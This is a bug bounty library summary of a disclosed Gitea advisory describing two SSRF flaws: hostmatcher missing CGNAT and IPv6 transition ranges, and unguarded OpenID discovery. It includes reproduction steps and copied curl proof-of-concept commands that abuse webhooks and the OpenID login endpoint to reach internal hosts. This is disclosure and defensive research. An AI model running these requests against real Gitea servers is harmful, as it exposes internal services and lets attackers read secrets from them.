# Gitea: Two SSRF findings

Gitea's hostmatcher external builtin misses CGNAT and IPv6 transition prefixes, letting any logged-in user SSRF webhooks/migrations to internal hosts and read responses; OpenID discovery is unguarded and unauthenticated.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): xclow3n
- Found by: xclow3n
- Disclosed: 2026-07-21
- CVE: CVE-2026-58314
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2fcr-jfvc-vgg2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-2fcr-jfvc-vgg2
- Tags: area:web domain:web impact:internal-access kind:research platform:ghsa sev:high tech:go technique:default-creds technique:source-review vuln:access-control vuln:ssrf

**Target:** Gitea webhook delivery, repo migration HTTP client, and /user/login/openid discovery fetch
**Root cause:** The `external` builtin only checks `ip.IsGlobalUnicast() && !ip.IsPrivate()`, which misses CGNAT (100.64.0.0/10) and IPv6 transition prefixes whose embedded IPv4 is invisible to `To4()`. Separately, openid-go uses `http.DefaultClient` with no hostmatcher or IP filter.
**Steps:**
1. Deploy `gitea/gitea:1.26.2` on a Docker network `100.64.0.0/24` with a mock internal service at `100.64.0.2:8080`.
2. Create a non-admin user and API token via `POST /api/v1/users/attacker/tokens`.
3. Create webhook: `POST /api/v1/repos/attacker/ssrf-lab/hooks` with `{"config":{"url":"http://100.64.0.2:8080/internal"}}`.
4. Trigger delivery: `POST /api/v1/repos/attacker/ssrf-lab/hooks/1/tests`.
5. Read captured response (status, headers, body up to 1MB) from `hook_task.response_content` or `/{owner}/{repo}/settings/hooks/1`.
6. For migration: `POST` migrate API with `http://100.64.0.2:8080/fake.git`; observe git smart-HTTP GETs from Gitea.
7. For OpenID: unauthenticated `curl -X POST http://localhost:3000/user/login/openid --data-urlencode 'openid=http://INTERNAL:PORT/path'`; internal target logs two GETs with `Accept: application/xrds+xml`.
**How found:** Source review of `modules/hostmatcher/hostmatcher.go` recognized `IsGlobalUnicast() && !IsPrivate()` as stack bookkeeping rather than a security boundary, then enumerated address families that pass it — CGNAT being the practically important one because it is plain IPv4 used by Tailscale, AWS VPC secondary CIDRs, and Kubernetes pod CIDRs. Traced sinks in webhook delivery and migration, then noticed openid-go's `defaultInstance` uses `http.DefaultClient` with no hostmatcher.
**Exploitation:** Any logged-in user creates a webhook (or repo admin a migration) pointing at a CGNAT internal host; Gitea's Dialer.Control passes the address, the request is made, and the full HTTP response is stored in `hook_task.response_content` and rendered to the webhook owner — full-read SSRF. The OpenID path is unauthenticated but blind: openid-go fetches the URL for XRDS/HTML discovery and does not return the body, useful for port scanning, IMDS probing, and timing oracles.
**Escalation:** Finding 1 gives full response readback (headers/body) enabling secret exfiltration from internal services; Finding 2 is unauthenticated but blind, lower direct impact.
**Insight:** When auditing SSRF guards, don't trust `IsPrivate()`/`IsGlobalUnicast()` — enumerate CGNAT (100.64.0.0/10), NAT64, 6to4, Teredo, and IPv4-compatible prefixes, and check whether the embedded IPv4 is visible to `To4()`. Also grep for third-party libs using `http.DefaultClient` (like openid-go) that bypass the project's own Dialer.Control.

## Proof of concept (copied exactly from the original report)

**Webhook SSRF to CGNAT internal service**

```
TOKEN=$(curl -s -u attacker:pw -X POST \
  http://localhost:3000/api/v1/users/attacker/tokens \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","scopes":["write:repository","write:user"]}' \
  | sed -n 's/.*"sha1":"\([^"]*\)".*/\1/p')

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \
  -H "Authorization: token $TOKEN" -H 'Content-Type: application/json' \
  -d '{"type":"gitea",
       "config":{"url":"http://100.64.0.2:8080/internal","content_type":"json"},
       "events":["push"],"active":true}'

curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \
  -H "Authorization: token $TOKEN"
```

**Unauthenticated OpenID discovery SSRF request**

```
curl -X POST http://localhost:3000/user/login/openid \
  --data-urlencode 'openid=http://INTERNAL:PORT/path'
```

